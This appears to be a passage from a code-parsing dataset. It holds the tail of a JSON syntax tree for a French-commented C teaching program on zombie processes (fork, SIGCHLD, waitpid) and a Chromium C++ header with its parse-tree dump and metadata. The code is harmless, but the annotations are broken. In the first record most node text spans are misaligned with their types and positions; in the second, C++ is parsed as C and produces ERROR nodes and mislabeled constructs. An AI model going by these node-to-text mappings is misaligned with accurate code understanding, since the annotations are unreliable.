"text": "ateur a envoy\u00e9 u", "parent": 133, "children": [137, 138], "start_point": {"row": 69, "column": 6}, "end_point": {"row": 69, "column": 22}}, {"id": 137, "type": "identifier", "text": "ateur a envoy\u00e9", "parent": 136, "children": [], "start_point": {"row": 69, "column": 6}, "end_point": {"row": 69, "column": 20}}, {"id": 138, "type": "argument_list", "text": " u", "parent": 136, "children": [], "start_point": {"row": 69, "column": 20}, "end_point": {"row": 69, "column": 22}}, {"id": 139, "type": "assignment_expression", "text": "(x == -1){", "parent": 125, "children": [140, 141], "start_point": {"row": 74, "column": 2}, "end_point": {"row": 74, "column": 12}}, {"id": 140, "type": "=", "text": " ", "parent": 139, "children": [], "start_point": {"row": 74, "column": 4}, "end_point": {"row": 74, "column": 5}}, {"id": 141, "type": "call_expression", "text": "= -1){", "parent": 139, "children": [142, 143], "start_point": {"row": 74, "column": 6}, "end_point": {"row": 74, "column": 12}}, {"id": 142, "type": "identifier", "text": "= -1", "parent": 141, "children": [], "start_point": {"row": 74, "column": 6}, "end_point": {"row": 74, "column": 10}}, {"id": 143, "type": "argument_list", "text": "){", "parent": 141, "children": [], "start_point": {"row": 74, "column": 10}, "end_point": {"row": 74, "column": 12}}, {"id": 144, "type": "if_statement", "text": "\n\t\t\texit(1);\n\t\t}\n\t\t\n\t\t/* Fils */\n\t\tif(x == 0){ \n\t\t\t", "parent": 125, "children": [145], "start_point": {"row": 77, "column": 2}, "end_point": {"row": 80, "column": 3}}, {"id": 145, "type": "parenthesized_expression", "text": "\t\texit(1)", "parent": 144, "children": [146], "start_point": {"row": 77, "column": 4}, "end_point": {"row": 77, "column": 13}}, {"id": 146, "type": "binary_expression", "text": "\texit(1", "parent": 145, "children": [147, 148, 149], "start_point": {"row": 77, "column": 5}, "end_point": {"row": 77, "column": 12}}, {"id": 147, "type": "identifier", "text": "\t", "parent": 146, "children": [], "start_point": {"row": 77, "column": 5}, "end_point": {"row": 77, "column": 6}}, {"id": 148, "type": "==", "text": "xi", "parent": 146, "children": [], "start_point": {"row": 77, "column": 7}, "end_point": {"row": 77, "column": 9}}, {"id": 149, "type": "number_literal", "text": "(1", "parent": 146, "children": [], "start_point": {"row": 77, "column": 10}, "end_point": {"row": 77, "column": 12}}, {"id": 150, "type": "call_expression", "text": "\n\t\t\n\t\t/* Fils */\n\t", "parent": 144, "children": [151, 152], "start_point": {"row": 78, "column": 3}, "end_point": {"row": 78, "column": 21}}, {"id": 151, "type": "identifier", "text": "\n\t\t\n\t\t", "parent": 150, "children": [], "start_point": {"row": 78, "column": 3}, "end_point": {"row": 78, "column": 9}}, {"id": 152, "type": "argument_list", "text": "/* Fils */\n\t", "parent": 150, "children": [153], "start_point": {"row": 78, "column": 9}, "end_point": {"row": 78, "column": 21}}, {"id": 153, "type": "string_literal", "text": "* Fils */\n", "parent": 152, "children": [154], "start_point": {"row": 78, "column": 10}, "end_point": {"row": 78, "column": 20}}, {"id": 154, "type": "escape_sequence", "text": "*/", "parent": 153, "children": [], "start_point": {"row": 78, "column": 17}, "end_point": {"row": 78, "column": 19}}, {"id": 155, "type": "call_expression", "text": " == 0){", "parent": 144, "children": [156, 157], "start_point": {"row": 79, "column": 3}, "end_point": {"row": 79, "column": 10}}, {"id": 156, "type": "identifier", "text": " == ", "parent": 155, "children": [], "start_point": {"row": 79, "column": 3}, "end_point": {"row": 79, "column": 7}}, {"id": 157, "type": "argument_list", "text": "0){", "parent": 155, "children": [], "start_point": {"row": 79, "column": 7}, "end_point": {"row": 79, "column": 10}}, {"id": 158, "type": "if_statement", "text": "a demande, et meurt. */\n\t\t\tprintf(\"Demande trait\u00e9e : Char = %d\\n\", c); \n\t\t\texit(1);\n\t\t}\n\t\t\n\t\t/* P\u00e8re */\n\t\tif(x > 0){ \n\t\t /", "parent": 125, "children": [159], "start_point": {"row": 83, "column": 2}, "end_point": {"row": 87, "column": 3}}, {"id": 159, "type": "parenthesized_expression", "text": "demande,", "parent": 158, "children": [160], "start_point": {"row": 83, "column": 4}, "end_point": {"row": 83, "column": 12}}, {"id": 160, "type": "binary_expression", "text": "emande", "parent": 159, "children": [161, 162, 163], "start_point": {"row": 83, "column": 5}, "end_point": {"row": 83, "column": 11}}, {"id": 161, "type": "identifier", "text": "e", "parent": 160, "children": [], "start_point": {"row": 83, "column": 5}, "end_point": {"row": 83, "column": 6}}, {"id": 162, "type": "==", "text": "an", "parent": 160, "children": [], "start_point": {"row": 83, "column": 7}, "end_point": {"row": 83, "column": 9}}, {"id": 163, "type": "number_literal", "text": "e", "parent": 160, "children": [], "start_point": {"row": 83, "column": 10}, "end_point": {"row": 83, "column": 11}}, {"id": 164, "type": "call_expression", "text": "\\n\", c); \n\t\t\texit(1);\n\t\t}\n\t\t\n\t\t/* P\u00e8re */\n\t", "parent": 158, "children": [165, 166], "start_point": {"row": 85, "column": 3}, "end_point": {"row": 85, "column": 46}}, {"id": 165, "type": "identifier", "text": "\\n\", c", "parent": 164, "children": [], "start_point": {"row": 85, "column": 3}, "end_point": {"row": 85, "column": 9}}, {"id": 166, "type": "argument_list", "text": "); \n\t\t\texit(1);\n\t\t}\n\t\t\n\t\t/* P\u00e8re */\n\t", "parent": 164, "children": [167, 169], "start_point": {"row": 85, "column": 9}, "end_point": {"row": 85, "column": 46}}, {"id": 167, "type": "string_literal", "text": "; \n\t\t\texit(1);\n\t\t}\n\t\t\n\t\t/* P\u00e8re ", "parent": 166, "children": [168], "start_point": {"row": 85, "column": 10}, "end_point": {"row": 85, "column": 42}}, {"id": 168, "type": "escape_sequence", "text": "re", "parent": 167, "children": [], "start_point": {"row": 85, "column": 39}, "end_point": {"row": 85, "column": 41}}, {"id": 169, "type": "identifier", "text": "\n", "parent": 166, "children": [], "start_point": {"row": 85, "column": 44}, "end_point": {"row": 85, "column": 45}}, {"id": 170, "type": "call_expression", "text": "> 0){ \n", "parent": 158, "children": [171], "start_point": {"row": 86, "column": 3}, "end_point": {"row": 86, "column": 10}}, {"id": 171, "type": "identifier", "text": "> 0)", "parent": 170, "children": [], "start_point": {"row": 86, "column": 3}, "end_point": {"row": 86, "column": 7}}, {"id": 172, "type": "number_literal", "text": " ", "parent": 170, "children": [], "start_point": {"row": 86, "column": 8}, "end_point": {"row": 86, "column": 9}}, {"id": 173, "type": "if_statement", "text": "plement et attend la prochaine requete \n\t\t * de l'utilisateur (ici, le prochain char).\n\t\t */\n\t\t}\n\t}\n\n\treturn EXIT_SUCCESS;\n}\n\n/* Le fi", "parent": 125, "children": [174], "start_point": {"row": 90, "column": 2}, "end_point": {"row": 94, "column": 3}}, {"id": 174, "type": "parenthesized_expression", "text": "ement e", "parent": 173, "children": [175], "start_point": {"row": 90, "column": 4}, "end_point": {"row": 90, "column": 11}}, {"id": 175, "type": "binary_expression", "text": "ment ", "parent": 174, "children": [176, 177, 178], "start_point": {"row": 90, "column": 5}, "end_point": {"row": 90, "column": 10}}, {"id": 176, "type": "identifier", "text": "m", "parent": 175, "children": [], "start_point": {"row": 90, "column": 5}, "end_point": {"row": 90, "column": 6}}, {"id": 177, "type": ">", "text": "n", "parent": 175, "children": [], "start_point": {"row": 90, "column": 7}, "end_point": {"row": 90, "column": 8}}, {"id": 178, "type": "number_literal", "text": " ", "parent": 175, "children": [], "start_point": {"row": 90, "column": 9}, "end_point": {"row": 90, "column": 10}}, {"id": 179, "type": "return_statement", "text": " mourrant, envoie un", "parent": 81, "children": [180], "start_point": {"row": 97, "column": 1}, "end_point": {"row": 97, "column": 21}}, {"id": 180, "type": "identifier", "text": "nt, envoie u", "parent": 179, "children": [], "start_point": {"row": 97, "column": 8}, "end_point": {"row": 97, "column": 20}}]}, "node_categories": {"declarations": {"functions": [21, 23, 41, 43, 81, 83], "variables": [26, 46, 48, 86, 88, 91], "classes": [92, 93], "imports": [0, 1, 3, 4, 6, 7, 9, 10, 12, 13, 15, 16, 18, 19], "modules": [], "enums": []}, "statements": {"expressions": [30, 31, 32, 57, 61, 62, 63, 70, 76, 79, 97, 102, 105, 107, 111, 116, 120, 126, 128, 136, 141, 145, 146, 150, 155, 159, 160, 164, 170, 174, 175], "assignments": [52, 54, 74, 96, 110, 133, 139], "loops": [29, 60, 125], "conditionals": [24, 28, 33, 38, 44, 50, 51, 53, 55, 58, 64, 71, 73, 75, 80, 84, 87, 90, 94, 95, 98, 99, 101, 103, 108, 109, 112, 113, 115, 117, 122, 129, 134, 137, 142, 144, 147, 151, 156, 158, 161, 165, 169, 171, 173, 176, 180], "returns": [78, 179], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 5, 8, 11, 14, 17, 20, 35, 40, 66, 119, 127, 131, 149, 153, 163, 167, 172, 178], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 21, "universal_type": "function", "name": "*status,", "text_snippet": "andler(int signal){\n\t/* La fonction waitpid(pid_t pid, int *status, int options) \n\t * suspend l'"}, {"node_id": 23, "universal_type": "function", "name": "unknown", "text_snippet": "r(int signal){\n\t/* "}, {"node_id": 41, "universal_type": "function", "name": "c,", "text_snippet": "tter(void){\n\tint c, first;\n\tfirst = c = getchar();\n\twhile(c != '\\n' && c != EOF){\n\t\tc = getchar();\n\t"}, {"node_id": 43, "universal_type": "function", "name": "c,", "text_snippet": "(void){\n\tint c, firs"}, {"node_id": 81, "universal_type": "function", "name": "sigaction", "text_snippet": "nt x;\n\tchar c;\n\n\t/* On cr\u00e9e une variable qui va nous permettre de traiter les signaux */\n\tstruct sig"}, {"node_id": 83, "universal_type": "function", "name": "unknown", "text_snippet": ";\n\tcha"}], "class_declarations": [{"node_id": 92, "universal_type": "class", "name": "unknown", "text_snippet": "n sa; \n\n\t/* On d"}, {"node_id": 93, "universal_type": "class", "name": "unknown", "text_snippet": "n sa; "}], "import_statements": [{"node_id": 0, "text": "#include <stdlib.h>\n"}, {"node_id": 1, "text": "#include"}, {"node_id": 3, "text": "#include <stdio.h>\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include <unistd.h>\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include <pthread.h>\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include <sys/types.h>\n"}, {"node_id": 13, "text": "#include"}, {"node_id": 15, "text": "#include <sys/syscall.h>\n"}, {"node_id": 16, "text": "#include"}, {"node_id": 18, "text": "#include <sys/wait.h>\n"}, {"node_id": 19, "text": "#include"}]}, "original_source_code": "#include <stdlib.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <pthread.h>\n#include <sys/types.h>\n#include <sys/syscall.h>\n#include <sys/wait.h>\n\n/* Ce programme permet de comprendre comment g\u00e9rer les \"zombies\"\n * Zombie = programme mort dont le p\u00e8re n'a pas \u00e9t\u00e9 mis au courant de son d\u00e9c\u00e8s.\n*/\n\nvoid handler(int signal){\n\t/* La fonction waitpid(pid_t pid, int *status, int options) \n\t * suspend l'ex\u00e9cution du processus courant jusqu'\u00e0 ce \n\t * que le processus fils correspondant au pid se termine, \n\t * ou jusqu'\u00e0 ce qu'un signal \u00e0 intercepter arrive.\n\t *\n\t * Arguments :\n\t *\tpid : le pid du fils, ici -1 signifie n'importe quel fils\n\t *\tstatus : sert \u00e0 stocker les infos sur la terminaison du fils, ici NULL on s'en fout\n\t *\toptions : WHNOHANG permet \u00e0 la fonction de ne pas \u00eatre bloquante\n\t *\n\t * Return :\t\n\t * \twaitpid renvoie un entier > 0 si on a bien tu\u00e9 le fils\n\t*/\n\twhile (waitpid(-1, NULL, WNOHANG) > 0);\n}\n\nint get_one_letter(void){\n\tint c, first;\n\tfirst = c = getchar();\n\twhile(c != '\\n' && c != EOF){\n\t\tc = getchar();\n\t}\n\treturn(first);\n}\n\nint main(){\n\tint x;\n\tchar c;\n\n\t/* On cr\u00e9e une variable qui va nous permettre de traiter les signaux */\n\tstruct sigaction sa; \n\n\t/* On d\u00e9finit la fonction \u00e0 appeler en cas de signal re\u00e7u */\n\tsa.sa_handler = handler; \n\n\t/* On ajoute notre masque au masque d\u00e9j\u00e0 existant. */\n\tsigemptyset(&sa.sa_mask); \n\n\t/* On r\u00e9active certaines fonctions de lecture/\u00e9critures qui sont \n\t* habituellement d\u00e9sactiv\u00e9es lorsqu'un signal est trait\u00e9. \n\t*/\n\tsa.sa_flags = SA_RESTART; \n\n\t/* On ajoute une r\u00e9action au signal num\u00e9ro 17 (qui correspond au signal SIGCHLD, soit la mort d'un fils).\n\t * On a acc\u00e8s aux num\u00e9ros des signaux via la commande \"kill -l\" dans le bash.\n\t*/\n\tsigaction(17, &sa, NULL);\n \n \t/* C'est un serveur, le processus de base doit toujours \u00eatre actif.\n\t * Lorsqu'un utilisateur envoie une demande, elle est trait\u00e9e dans \n\t * un fils qui mourra lorsque la demande sera trait\u00e9e.\n\t*/\n\twhile(1) {\n\t\tprintf(\"Rentrez un char :\\n\");\n\n\t\t/* Bloquant jusqu'\u00e0 ce qu'un utilisateur rentre un char */\n\t\tc = get_one_letter(); \n\n\t\t/* L'utilisateur a envoy\u00e9 une requete en rentrant un char, \n\t\t * il faut la traiter, du coup on fork pour cr\u00e9er un fils.\n\t\t*/\n\t\tx = fork(); \n\t\t\n\t\t/* Erreur */\n\t\tif(x == -1){\n\t\t\tperror(\"Erreur\\n\");\n\t\t\texit(1);\n\t\t}\n\t\t\n\t\t/* Fils */\n\t\tif(x == 0){ \n\t\t\t/* Le fils traite la demande, et meurt. */\n\t\t\tprintf(\"Demande trait\u00e9e : Char = %d\\n\", c); \n\t\t\texit(1);\n\t\t}\n\t\t\n\t\t/* P\u00e8re */\n\t\tif(x > 0){ \n\t\t /* Le p\u00e8re boucle simplement et attend la prochaine requete \n\t\t * de l'utilisateur (ici, le prochain char).\n\t\t */\n\t\t}\n\t}\n\n\treturn EXIT_SUCCESS;\n}\n\n/* Le fils, en mourrant, envoie un signal SIGCHLD au p\u00e8re. \n * Ce signal n'est pas trait\u00e9 par d\u00e9faut, il faut donc le traiter soit m\u00eame. \n * On a d\u00e9finit \u00e0 la ligne 36 que lorsque l'on recevait le signal num\u00e9ro 17 (soit SIGCHLD)\n * le programme doit executer instantan\u00e9ment la fonction handler().\n * La fonction handler g\u00e8re le probl\u00e8me du fils en le tuant vraiment gr\u00e2ce \u00e0 la fonction waitpid().\n*/"}
81,197
c
// Copyright 2015 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_ #define COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_ namespace mus { namespace ws { class WindowTreeImpl; // A WindowTreeHostDelegate interface is implemented by an object that // has the WindowTreeImpl that is associated with the WindowTreeHostImpl that // holds a pointer to this object. Typically, a WindowTreeHostDelegate will also // manage the lifetime of the WindowTreeHostImpl and will delete the object when // it get informed of when the Display of the root is closed. class WindowTreeHostDelegate { public: // Called when the window associated with the root is completely initialized // (i.e. the ViewportMetrics for the display is known). virtual void OnDisplayInitialized() = 0; // Called when the window associated with the root is closed. virtual void OnDisplayClosed() = 0; // Returns the WindowTreeImpl associated with the delegate. virtual const WindowTreeImpl* GetWindowTree() const = 0; WindowTreeImpl* GetWindowTree() { return const_cast<WindowTreeImpl*>( const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree()); } protected: virtual ~WindowTreeHostDelegate() {} }; } // namespace ws } // namespace mus #endif // COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_
44.31
32
(translation_unit) "// Copyright 2015 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_\n#define COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_\n\nnamespace mus {\n\nnamespace ws {\n\nclass WindowTreeImpl;\n\n// A WindowTreeHostDelegate interface is implemented by an object that\n// has the WindowTreeImpl that is associated with the WindowTreeHostImpl that\n// holds a pointer to this object. Typically, a WindowTreeHostDelegate will also\n// manage the lifetime of the WindowTreeHostImpl and will delete the object when\n// it get informed of when the Display of the root is closed.\nclass WindowTreeHostDelegate {\n public:\n // Called when the window associated with the root is completely initialized\n // (i.e. the ViewportMetrics for the display is known).\n virtual void OnDisplayInitialized() = 0;\n\n // Called when the window associated with the root is closed.\n virtual void OnDisplayClosed() = 0;\n\n // Returns the WindowTreeImpl associated with the delegate.\n virtual const WindowTreeImpl* GetWindowTree() const = 0;\n WindowTreeImpl* GetWindowTree() {\n return const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree());\n }\n\n protected:\n virtual ~WindowTreeHostDelegate() {}\n};\n\n} // namespace ws\n\n} // namespace mus\n\n#endif // COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_\n" (comment) "// Copyright 2015 The Chromium Authors. All rights reserved." (comment) "// Use of this source code is governed by a BSD-style license that can be" (comment) "// found in the LICENSE file." (preproc_ifdef) "#ifndef COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_\n#define COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_\n\nnamespace mus {\n\nnamespace ws {\n\nclass WindowTreeImpl;\n\n// A WindowTreeHostDelegate interface is implemented by an object that\n// has the WindowTreeImpl that is associated with the WindowTreeHostImpl that\n// holds a pointer to this object. Typically, a WindowTreeHostDelegate will also\n// manage the lifetime of the WindowTreeHostImpl and will delete the object when\n// it get informed of when the Display of the root is closed.\nclass WindowTreeHostDelegate {\n public:\n // Called when the window associated with the root is completely initialized\n // (i.e. the ViewportMetrics for the display is known).\n virtual void OnDisplayInitialized() = 0;\n\n // Called when the window associated with the root is closed.\n virtual void OnDisplayClosed() = 0;\n\n // Returns the WindowTreeImpl associated with the delegate.\n virtual const WindowTreeImpl* GetWindowTree() const = 0;\n WindowTreeImpl* GetWindowTree() {\n return const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree());\n }\n\n protected:\n virtual ~WindowTreeHostDelegate() {}\n};\n\n} // namespace ws\n\n} // namespace mus\n\n#endif" (#ifndef) "#ifndef" (identifier) "COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_" (preproc_def) "#define COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_\n" (#define) "#define" (identifier) "COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_" (function_definition) "namespace mus {\n\nnamespace ws {\n\nclass WindowTreeImpl;\n\n// A WindowTreeHostDelegate interface is implemented by an object that\n// has the WindowTreeImpl that is associated with the WindowTreeHostImpl that\n// holds a pointer to this object. Typically, a WindowTreeHostDelegate will also\n// manage the lifetime of the WindowTreeHostImpl and will delete the object when\n// it get informed of when the Display of the root is closed.\nclass WindowTreeHostDelegate {\n public:\n // Called when the window associated with the root is completely initialized\n // (i.e. the ViewportMetrics for the display is known).\n virtual void OnDisplayInitialized() = 0;\n\n // Called when the window associated with the root is closed.\n virtual void OnDisplayClosed() = 0;\n\n // Returns the WindowTreeImpl associated with the delegate.\n virtual const WindowTreeImpl* GetWindowTree() const = 0;\n WindowTreeImpl* GetWindowTree() {\n return const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree());\n }\n\n protected:\n virtual ~WindowTreeHostDelegate() {}\n};\n\n} // namespace ws\n\n}" (type_identifier) "namespace" (identifier) "mus" (compound_statement) "{\n\nnamespace ws {\n\nclass WindowTreeImpl;\n\n// A WindowTreeHostDelegate interface is implemented by an object that\n// has the WindowTreeImpl that is associated with the WindowTreeHostImpl that\n// holds a pointer to this object. Typically, a WindowTreeHostDelegate will also\n// manage the lifetime of the WindowTreeHostImpl and will delete the object when\n// it get informed of when the Display of the root is closed.\nclass WindowTreeHostDelegate {\n public:\n // Called when the window associated with the root is completely initialized\n // (i.e. the ViewportMetrics for the display is known).\n virtual void OnDisplayInitialized() = 0;\n\n // Called when the window associated with the root is closed.\n virtual void OnDisplayClosed() = 0;\n\n // Returns the WindowTreeImpl associated with the delegate.\n virtual const WindowTreeImpl* GetWindowTree() const = 0;\n WindowTreeImpl* GetWindowTree() {\n return const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree());\n }\n\n protected:\n virtual ~WindowTreeHostDelegate() {}\n};\n\n} // namespace ws\n\n}" ({) "{" (function_definition) "namespace ws {\n\nclass WindowTreeImpl;\n\n// A WindowTreeHostDelegate interface is implemented by an object that\n// has the WindowTreeImpl that is associated with the WindowTreeHostImpl that\n// holds a pointer to this object. Typically, a WindowTreeHostDelegate will also\n// manage the lifetime of the WindowTreeHostImpl and will delete the object when\n// it get informed of when the Display of the root is closed.\nclass WindowTreeHostDelegate {\n public:\n // Called when the window associated with the root is completely initialized\n // (i.e. the ViewportMetrics for the display is known).\n virtual void OnDisplayInitialized() = 0;\n\n // Called when the window associated with the root is closed.\n virtual void OnDisplayClosed() = 0;\n\n // Returns the WindowTreeImpl associated with the delegate.\n virtual const WindowTreeImpl* GetWindowTree() const = 0;\n WindowTreeImpl* GetWindowTree() {\n return const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree());\n }\n\n protected:\n virtual ~WindowTreeHostDelegate() {}\n};\n\n}" (type_identifier) "namespace" (identifier) "ws" (compound_statement) "{\n\nclass WindowTreeImpl;\n\n// A WindowTreeHostDelegate interface is implemented by an object that\n// has the WindowTreeImpl that is associated with the WindowTreeHostImpl that\n// holds a pointer to this object. Typically, a WindowTreeHostDelegate will also\n// manage the lifetime of the WindowTreeHostImpl and will delete the object when\n// it get informed of when the Display of the root is closed.\nclass WindowTreeHostDelegate {\n public:\n // Called when the window associated with the root is completely initialized\n // (i.e. the ViewportMetrics for the display is known).\n virtual void OnDisplayInitialized() = 0;\n\n // Called when the window associated with the root is closed.\n virtual void OnDisplayClosed() = 0;\n\n // Returns the WindowTreeImpl associated with the delegate.\n virtual const WindowTreeImpl* GetWindowTree() const = 0;\n WindowTreeImpl* GetWindowTree() {\n return const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree());\n }\n\n protected:\n virtual ~WindowTreeHostDelegate() {}\n};\n\n}" ({) "{" (declaration) "class WindowTreeImpl;" (type_identifier) "class" (identifier) "WindowTreeImpl" (;) ";" (comment) "// A WindowTreeHostDelegate interface is implemented by an object that" (comment) "// has the WindowTreeImpl that is associated with the WindowTreeHostImpl that" (comment) "// holds a pointer to this object. Typically, a WindowTreeHostDelegate will also" (comment) "// manage the lifetime of the WindowTreeHostImpl and will delete the object when" (comment) "// it get informed of when the Display of the root is closed." (function_definition) "class WindowTreeHostDelegate {\n public:\n // Called when the window associated with the root is completely initialized\n // (i.e. the ViewportMetrics for the display is known).\n virtual void OnDisplayInitialized() = 0;\n\n // Called when the window associated with the root is closed.\n virtual void OnDisplayClosed() = 0;\n\n // Returns the WindowTreeImpl associated with the delegate.\n virtual const WindowTreeImpl* GetWindowTree() const = 0;\n WindowTreeImpl* GetWindowTree() {\n return const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree());\n }\n\n protected:\n virtual ~WindowTreeHostDelegate() {}\n}" (type_identifier) "class" (identifier) "WindowTreeHostDelegate" (compound_statement) "{\n public:\n // Called when the window associated with the root is completely initialized\n // (i.e. the ViewportMetrics for the display is known).\n virtual void OnDisplayInitialized() = 0;\n\n // Called when the window associated with the root is closed.\n virtual void OnDisplayClosed() = 0;\n\n // Returns the WindowTreeImpl associated with the delegate.\n virtual const WindowTreeImpl* GetWindowTree() const = 0;\n WindowTreeImpl* GetWindowTree() {\n return const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree());\n }\n\n protected:\n virtual ~WindowTreeHostDelegate() {}\n}" ({) "{" (labeled_statement) "public:\n // Called when the window associated with the root is completely initialized\n // (i.e. the ViewportMetrics for the display is known).\n virtual void OnDisplayInitialized() = 0;" (statement_identifier) "public" (:) ":" (comment) "// Called when the window associated with the root is completely initialized" (comment) "// (i.e. the ViewportMetrics for the display is known)." (declaration) "virtual void OnDisplayInitialized() = 0;" (type_identifier) "virtual" (ERROR) "void" (identifier) "void" (init_declarator) "OnDisplayInitialized() = 0" (function_declarator) "OnDisplayInitialized()" (identifier) "OnDisplayInitialized" (parameter_list) "()" (() "(" ()) ")" (=) "=" (number_literal) "0" (;) ";" (comment) "// Called when the window associated with the root is closed." (declaration) "virtual void OnDisplayClosed() = 0;" (type_identifier) "virtual" (ERROR) "void" (identifier) "void" (init_declarator) "OnDisplayClosed() = 0" (function_declarator) "OnDisplayClosed()" (identifier) "OnDisplayClosed" (parameter_list) "()" (() "(" ()) ")" (=) "=" (number_literal) "0" (;) ";" (comment) "// Returns the WindowTreeImpl associated with the delegate." (declaration) "virtual const WindowTreeImpl* GetWindowTree() const = 0;" (type_identifier) "virtual" (type_qualifier) "const" (const) "const" (ERROR) "WindowTreeImpl" (identifier) "WindowTreeImpl" (init_declarator) "* GetWindowTree() const = 0" (pointer_declarator) "* GetWindowTree() const" (*) "*" (function_declarator) "GetWindowTree() const" (identifier) "GetWindowTree" (parameter_list) "()" (() "(" ()) ")" (identifier) "const" (=) "=" (number_literal) "0" (;) ";" (function_definition) "WindowTreeImpl* GetWindowTree() {\n return const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree());\n }" (type_identifier) "WindowTreeImpl" (pointer_declarator) "* GetWindowTree()" (*) "*" (function_declarator) "GetWindowTree()" (identifier) "GetWindowTree" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{\n return const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree());\n }" ({) "{" (return_statement) "return const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree());" (return) "return" (binary_expression) "const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree())" (binary_expression) "const_cast<WindowTreeImpl" (identifier) "const_cast" (<) "<" (identifier) "WindowTreeImpl" (ERROR) "*" (*) "*" (>) ">" (parenthesized_expression) "(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree())" (() "(" (binary_expression) "const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree()" (binary_expression) "const_cast<const WindowTreeHostDelegate" (identifier) "const_cast" (<) "<" (ERROR) "const" (identifier) "const" (identifier) "WindowTreeHostDelegate" (ERROR) "*" (*) "*" (>) ">" (call_expression) "(this)->GetWindowTree()" (field_expression) "(this)->GetWindowTree" (parenthesized_expression) "(this)" (() "(" (identifier) "this" ()) ")" (->) "->" (field_identifier) "GetWindowTree" (argument_list) "()" (() "(" ()) ")" ()) ")" (;) ";" (}) "}" (labeled_statement) "protected:\n virtual ~WindowTreeHostDelegate() {}" (statement_identifier) "protected" (:) ":" (ERROR) "virtual ~WindowTreeHostDelegate()" (type_identifier) "virtual" (ERROR) "~" (~) "~" (function_declarator) "WindowTreeHostDelegate()" (identifier) "WindowTreeHostDelegate" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{}" ({) "{" (}) "}" (}) "}" (expression_statement) ";" (;) ";" (}) "}" (comment) "// namespace ws" (}) "}" (comment) "// namespace mus" (#endif) "#endif" (comment) "// COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_"
156
8
{"language": "c", "success": true, "metadata": {"lines": 32, "avg_line_length": 44.31, "nodes": 89, "errors": 0, "source_hash": "80cfd303abe1f7a8f16a3098fa1331f8f6934743556b804ad7dc6e4dc0329f37", "categorized_nodes": 55}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_\n#define COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_\n\nnamespace mus {\n\nnamespace ws {\n\nclass WindowTreeImpl;\n\n// A WindowTreeHostDelegate interface is implemented by an object that\n// has the WindowTreeImpl that is associated with the WindowTreeHostImpl that\n// holds a pointer to this object. Typically, a WindowTreeHostDelegate will also\n// manage the lifetime of the WindowTreeHostImpl and will delete the object when\n// it get informed of when the Display of the root is closed.\nclass WindowTreeHostDelegate {\n public:\n // Called when the window associated with the root is completely initialized\n // (i.e. the ViewportMetrics for the display is known).\n virtual void OnDisplayInitialized() = 0;\n\n // Called when the window associated with the root is closed.\n virtual void OnDisplayClosed() = 0;\n\n // Returns the WindowTreeImpl associated with the delegate.\n virtual const WindowTreeImpl* GetWindowTree() const = 0;\n WindowTreeImpl* GetWindowTree() {\n return const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree());\n }\n\n protected:\n virtual ~WindowTreeHostDelegate() {}\n};\n\n} // namespace ws\n\n} // namespace mus\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 88], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 42, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 7}}, {"id": 2, "type": "identifier", "text": "COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_", "parent": 0, "children": [], "start_point": {"row": 4, "column": 8}, "end_point": {"row": 4, "column": 54}}, {"id": 3, "type": "preproc_def", "text": "#define 